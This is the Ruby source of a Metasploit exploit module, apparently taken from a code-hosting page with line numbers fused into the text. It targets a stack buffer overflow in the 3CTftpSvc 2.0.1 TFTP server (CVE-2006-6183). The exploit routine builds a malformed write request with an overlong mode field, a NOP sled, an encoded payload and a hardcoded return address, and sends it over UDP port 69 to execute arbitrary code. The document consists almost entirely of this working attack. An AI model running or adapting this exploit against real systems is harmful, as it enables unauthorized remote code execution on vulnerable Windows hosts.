Path: blob/master/modules/exploits/windows/tftp/threectftpsvc_long_mode.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(12update_info(13info,14'Name' => '3CTftpSvc TFTP Long Mode Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in 3CTftpSvc 2.0.1. By17sending a specially crafted packet with an overly long mode18field, a remote attacker could overflow a buffer and execute19arbitrary code on the system.20},21'Author' => 'MC',22'References' => [23['CVE', '2006-6183'],24['OSVDB', '30758'],25['BID', '21301'],26['URL', 'http://web.archive.org/web/20070521014920/http://secunia.com:80/advisories/23113'],27],28'DefaultOptions' => {29'EXITFUNC' => 'thread',30},31'Payload' => {32'Space' => 400,33'BadChars' => "\x00",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' => [38[ '3CTftpSvc 2.0.1', { 'Ret' => 0x00402b02 } ],39],40'Privileged' => true,41'DefaultTarget' => 0,42'DisclosureDate' => '2006-11-27',43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options([Opt::RPORT(69)])52end5354def exploit55connect_udp5657sploit = "\x00\x02" + rand_text_alpha_upper(1) + "\x00" + make_nops(73)58sploit << payload.encoded + [target.ret].pack('V') + make_nops(25) + "\x00"5960print_status("Trying target #{target.name}...")6162udp_sock.put(sploit)6364disconnect_udp65end66end676869